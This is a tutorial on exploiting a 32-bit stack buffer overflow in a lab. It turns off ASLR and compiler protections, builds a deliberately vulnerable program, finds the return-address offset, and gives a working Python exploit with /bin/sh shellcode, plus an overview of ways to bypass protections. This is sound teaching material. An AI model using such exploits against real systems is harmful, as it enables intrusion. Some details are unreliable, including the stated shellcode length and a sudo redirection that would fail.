What Is a Buffer Overflow?

A buffer overflow occurs when a program writes more data to a buffer than it has allocated space for. The excess data overwrites adjacent memory—including function return addresses. By controlling that return address, an attacker can redirect execution to malicious code (shellcode).

Visual Diagram: Normal vs. Overflow

flowchart LR
    subgraph NE["Normal Execution"]
        direction TB
        A[Stack Layout] --> B[Local Buffer<br/>8 bytes]
        B --> C[Saved EBP<br/>4 bytes]
        C --> D[Return Address<br/>4 bytes]
        D --> E[Function returns safely]
    end

    subgraph OE["Overflow Exploit"]
        direction TB
        F[Overflowed Buffer] --> G[A x12 - padding]
        G --> H[BBBB - overwrites EBP]
        H --> I[CCCC - overwrites Return Addr]
        I --> J[Redirect to shellcode]
    end

    NE ~~~ OE

Prerequisites

  • Linux distro (Ubuntu 20.04+ or Kali)
  • gcc, gdb, python3, peda (GDB extension)
  • A 32-bit system (or 32-bit chroot/multiarch)

Warning: This tutorial is for educational purposes. Only run these exercises in isolated lab environments (VMs). Disabling security features makes your host vulnerable.


Step 1: Disable ASLR (Address Space Layout Randomization)

ASLR randomizes memory addresses each time a program runs, making it hard to guess where shellcode lives. We disable it for learning.

Check current ASLR setting

cat /proc/sys/kernel/randomize_va_space

Possible values:

  • 0 = No randomization (what we want)
  • 1 = Conservative randomization
  • 2 = Full randomization (default on modern Linux)

Disable ASLR

sudo echo 0 > /proc/sys/kernel/randomize_va_space
# Or using sysctl
sudo sysctl -w kernel.randomize_va_space=0

To make it permanent (not recommended for daily use):

echo "kernel.randomize_va_space=0" | sudo tee -a /etc/sysctl.conf

Step 2: Compile a Vulnerable Program

Create a file called vuln.c:

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *user_input) {
    char buffer[64];
    strcpy(buffer, user_input);  // <-- UNSAFE: no bounds checking
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: %s <input_string>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    printf("Execution normal.\n");
    return 0;
}

Compile with protections OFF

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
Flag What it does
-m32 Compile as 32-bit (easier addresses)
-fno-stack-protector Disables Stack Canaries
-z execstack Stack is executable (shellcode allowed)
-no-pie Disables Position Independent Executable

Verify:

file vuln
checksec --file=vuln  # if checksec is installed

Step 3: Find the Crash Offset (Fuzzing with Pattern)

We need to know exactly how many bytes to send before overwriting the return address.

Generate a unique pattern (using pattern_create from Metasploit)

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
# Output: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Run the program in GDB with the pattern

gdb ./vuln
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Segmentation fault. GDB shows the crash address, e.g., 0x63413563 (ASCII c5Ac).

Find the exact offset

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563 -l 100
# Output: [*] Exact match at offset 76

Result: After 76 bytes, the next 4 bytes overwrite the return address.


Step 4: Write the Exploit

We now know:

  • Buffer size to overflow: 76 bytes
  • Return address starts at byte 76-79
  • We need shellcode (e.g., execve /bin/sh)

Create exploit.py

#!/usr/bin/env python3

import struct

# 32-bit shellcode: execve("/bin/sh", NULL, NULL)
# x86 Linux - 23 bytes
shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" +
    b"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0" +
    b"\x0b\xcd\x80"
)

# NOP sled (landing zone for execution)
nop_sled = b"\x90" * 20

# Padding to reach return address
padding = b"A" * (76 - len(nop_sled) - len(shellcode))

# Guess the return address (example: 0xffffd200)
# You will find this via GDB (see Step 5)
ret_addr = 0xffffd200

# Build the payload
payload = nop_sled + shellcode + padding + struct.pack("<I", ret_addr)

# Write to file for piping
with open("payload.bin", "wb") as f:
    f.write(payload)

print(f"[+] Payload length: {len(payload)} bytes")
print(f"[+] Return address: 0x{ret_addr:08x}")

Step 5: Find the Real Return Address (Live Debug)

In GDB, find where the buffer lives in memory.

gdb ./vuln
(gdb) break vulnerable_function
(gdb) run $(python3 -c 'print("A"*100)')
(gdb) next 2
(gdb) x/20x $esp

Or set a breakpoint after strcpy and examine:

(gdb) break *vulnerable_function+20   # approximate after strcpy
(gdb) run $(python3 -c 'print("A"*100)')
(gdb) x/100x $esp

Look for the address of your A characters (0x41 in hex). Pick an address in the middle of the NOP sled (e.g., 0xffffd2a0). Update ret_addr in the exploit.


Step 6: Execute the Exploit

With ASLR disabled and the correct return address:

# Run with payload
./vuln "$(cat payload.bin)"

If it doesn’t work immediately, adjust:

  • Return address (up/down by 0x10 offsets)
  • NOP sled length (increase to 50-100 bytes)

When successful:

$ ./vuln "$(cat payload.bin)"
# No "Execution normal" message
# Instead, you get a shell:
$ whoami
user
$ exit

The Full Attack Flow

flowchart TD
    A[Compile vuln.c<br/>with no protections] --> B[Disable ASLR<br/>kernel.randomize_va_space=0]
    B --> C[Fuzz with pattern<br/>find crash offset = 76]
    C --> D[Generate shellcode<br/>execve /bin/sh]
    D --> E[Build payload:<br/>NOP sled + shellcode + padding + return addr]
    E --> F[Debug in GDB<br/>find buffer address]
    F --> G{Exploit works?}
    G -- No --> H[Adjust return address<br/>or NOP sled length]
    H --> F
    G -- Yes --> I[Privesc shell]

Important Modern Protections (Bypass Overview)

Protection What it does Common bypass
ASLR Randomizes library/stack/heap addresses Brute force, infoleaks
Stack Canaries Places a secret value before return addr Overflow without touching canary, infoleaks
NX (No-Execute) Stack not executable Return-to-libc, ROP chains
PIE Randomizes code addresses Infoleaks, partial overwrites

Clean Up (Re-enable Security)

# Re-enable ASLR
sudo sysctl -w kernel.randomize_va_space=2

# Delete vulnerable binary and exploit
rm vuln payload.bin exploit.py

Practice Challenges

  1. Change the buffer size in vuln.c from 64 to 32. Re-find the offset.
  2. Add a canary back (-fstack-protector) and watch it crash differently.
  3. Remove -z execstack — the exploit fails. Now research “Return-to-libc”.

Final Diagram: Stack Before vs. After Overflow

flowchart LR
    subgraph BEFORE["Before Overflow"]
        direction TB
        S1[Local buffer - 64 bytes]
        S2[Saved EBP - 4 bytes]
        S3[Return Address - 4 bytes]
        S4[Arguments - user_input ptr]
        S1 --> S2 --> S3 --> S4
    end

    subgraph AFTER["After Overflow"]
        direction TB
        A1[NOP sled - 20 bytes]
        A2[Shellcode - 23 bytes]
        A3[Padding - 33 bytes]
        A4[Overwritten EBP - BBBB]
        A5[Overwritten Ret Addr - 0xffffd200]
        A6[Execution jumps to NOP sled]
        A1 --> A2 --> A3 --> A4 --> A5 --> A6
    end

BEFORE ~~~ AFTER


You’ve just completed a classic stack-based buffer overflow. This is the foundation of modern binary exploitation. From here, learn Return-Oriented Programming (ROP) to defeat NX and ASLR in real-world scenarios.